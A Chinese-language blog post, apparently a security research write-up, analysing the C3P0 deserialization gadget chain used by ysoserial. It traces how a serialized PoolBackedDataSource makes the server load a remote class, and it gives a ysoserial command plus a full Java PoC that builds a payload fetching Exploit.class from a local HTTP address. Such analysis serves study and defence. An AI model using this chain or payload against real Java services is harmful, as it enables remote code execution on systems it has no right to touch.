环境准备:

pom:

      <!-- https://mvnrepository.com/artifact/com.mchange/c3p0 -->
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

payload生成:

java -jar ysoserial.jar C3P0 "http://127.0.0.1:8989/:Exploit" > test.ser  //加载Exploit.class

调用链分析:

exec处下断点,整个调用链如下图所示:

反序列化的入口点时com/mchange/v2/c3p0/impl/PoolBackedDataSourceBase,

首先从输入流中还原出一个referenceIndirector的内部类referenceSerialized的对象,然后判断其若是不是类IndirectlySerialized的实例,由下图可得此时referenceSerialized实现了referenceSerialized接口,那么

referenceSerialized必定是其实例

而该接口定义了一个getObject方法,用于返回对象,所以就到了referenceSerialized类的getObject

在这里获取上下文,应该是尝试通过jndi的方式获取上下文,然而这里contextname为null,即jndi失效,所以通过ReferenceableUtils.referenceToObject来加载引用,这里引入的类名为exploit,也就是我们的恶意的字节码的文件名

reFerenceToObject根据Reference对象来获取工厂类的名字,以及工厂类的地址,接着拿到类加载器,拿到appClassLoader(一般程序中类加载都用这个,它的上面还有jre核心类运行的加载(rt.jar)bootstrap classloader和扩展类加载ext classloader)

接着就判断工厂类地址是否为空,不为空则去远程地址加载工厂类,这里用到了urlclassLoader,然后通过class.forname生成一个class 类型的实例,就加载到了工厂类,即我们的恶意字节码类

Class var12 = Class.forName(var4, true, (ClassLoader)var7);

接着newInstance完成了类的实例化,即触发构造方法中的代码块执行

tip:

那么这里重点还是引用类的构造,即referenceSerialized的this.reference成员变量的赋值

ysoserial的构造:

这里先实例化一个PoolBackedDataSource的实例,然后再将本地构造的PoolSource赋值给该类的connectionPoolDataSource成员方法,感觉这里比较主要的就是重写getReference方法来返回一个指向远程地址的引用实例

看下PoolBackedDataSource的writeObject方法应该更好理解一点:

因为序列化时实际上是从输入流中读出一个object来调用其getobject,所以这里第一次写入的object就是要反序列化利用的object,第一个tobyteArray那里如下图catch到错误,因为poolsource是不可序列化的类,所以走到reference那里indirector.indirectForm(this.connectionPoolDataSource),这个传入的就是本地构造的poolsource的实例

indirectForm里面调用poolSource的getRerence方法实际上想返回一个reference类型的实例,所以ysoserial构造gadget的时候要本地定义一个getRerence()方法

所以indirectForm最后返回一个ReferenceIndirector.ReferenceSerialized的实例,其可序列化,因为有下面两个图的关系

所以最终这里调用weiteObject写入序列化的数据流,完成payload的构造

所以就可以手动构造poc了:

poc.java

package C3P0;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger; public class payload1 {
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url; public PoolSource(String className, String url) {
this.className = className;
this.url = url;
} @Override
public Reference getReference() throws NamingException {
return new Reference("exploit", this.className, this.url);
} @Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
} @Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
} @Override
public PrintWriter getLogWriter() throws SQLException {
return null;
} @Override
public void setLogWriter(PrintWriter out) throws SQLException { } @Override
public void setLoginTimeout(int seconds) throws SQLException { } @Override
public int getLoginTimeout() throws SQLException {
return 0;
} @Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, IOException {
Constructor con = PoolBackedDataSource.class.getDeclaredConstructor(new Class[0]);
con.setAccessible(true);
PoolBackedDataSource obj = (PoolBackedDataSource) con.newInstance(new Object[0]);
Field conData = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
conData.setAccessible(true);
conData.set(obj, new PoolSource("Exploit", "http://127.0.0.1:8989/"));
ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/t.ser"));
objOut.writeObject(obj);
} }

源码地址:https://github.com/Wfzsec/ysoserial-poc

ysoserial-C3P0 分析的更多相关文章

  1. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  2. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  3. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  4. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  5. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  6. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  7. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  8. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  9. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

  10. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. SDWebImage -- 封装 (网络状态检测,是否打开手机网络下下载高清图设置)

    对SDWebImage 进行封装,为了更好的节省用户手机流量,并保证在移动网络下也展示高清图,对使用SDWebImage 下载图片之前进行逻辑处理,根据本地缓存中是否有缓存原始的图片,用户是否打开移动 ...

  2. czC#01

    1. .net简介: .net分为.net平台及.net Framework 2..NET作用 2.转义与@ 3.类型转换 1) 隐式转换 2)显式类型转换 (待转换的目标类型)原始值

  3. htmlhint 规则详解

    HTML 静态检查规则 HTMLHint 工具内置 23 条规则,可以对 HTML 代码文件进行静态代码检查,从而提高 HTML 代码编写的规范和质量.现在把 23 条规则翻译如下. 一.规则列表 标 ...

  4. Windows下利用virtualenvwrapper指定python版本创建虚拟环境

    默认已安装virtualenvwrapper 一.添加环境变量(可选) 在系统环境变量中添加 WORKON_HOME ,用来指定新建的虚拟环境的存储位置,如过未添加,默认位置为 %USERPROFIL ...

  5. disruptor 多生产者多消费者实战 四

    一.创建event类 Order public class Order { private String id; private String name; private double price; ...

  6. 软件基础1Word文档编辑

    word文档编辑 启动Word2010 创建文档,<你好word>. 编辑文字. 保存的三种方式. ctrl+s. 点击文件选择保存,或另存为. 快速工具栏保存按钮. 设置字体 1.通过工 ...

  7. TCP报文首部

    源端口和目的端口,各占2个字节,每个TCP报文段都包含源端口号和目的端口号,用于寻找发送端和接收端的应用进程: 序号,占4个字节,序号用来标识从TCP发送端向TCP接收端发送的数据字节流,它表示在这个 ...

  8. 从当当客户端api抓取书评到词云生成

    看了好几本大冰的书,感觉对自己的思维有不少的影响.想看看其他读者的评论.便想从当当下手抓取他们评论做个词云.想着网页版说不定有麻烦的反爬,干脆从手机客户端下手好了.果其不然,找到一个书评的api.发送 ...

  9. 判断括号是否有效(c++描述)

    开门见山,假设我们有一大串的由'{', '}', '[', ']', '(', ')' 这些括号构成比如像这样的"{[}][()"符号串,我们肉眼当然能看出它是非法的,那么如何使用 ...

  10. SSL/TLS 协议运行机制概述(二)

    SSL/TLS 协议运行机制概述(二) 在SSL/TLS 协议运行机制概述(一)中介绍了TLS 1.2 的运行机制,现在我们来看年 TLS 1.3 的运行机制.会涉及到SSL/TLS 协议运行机制概述 ...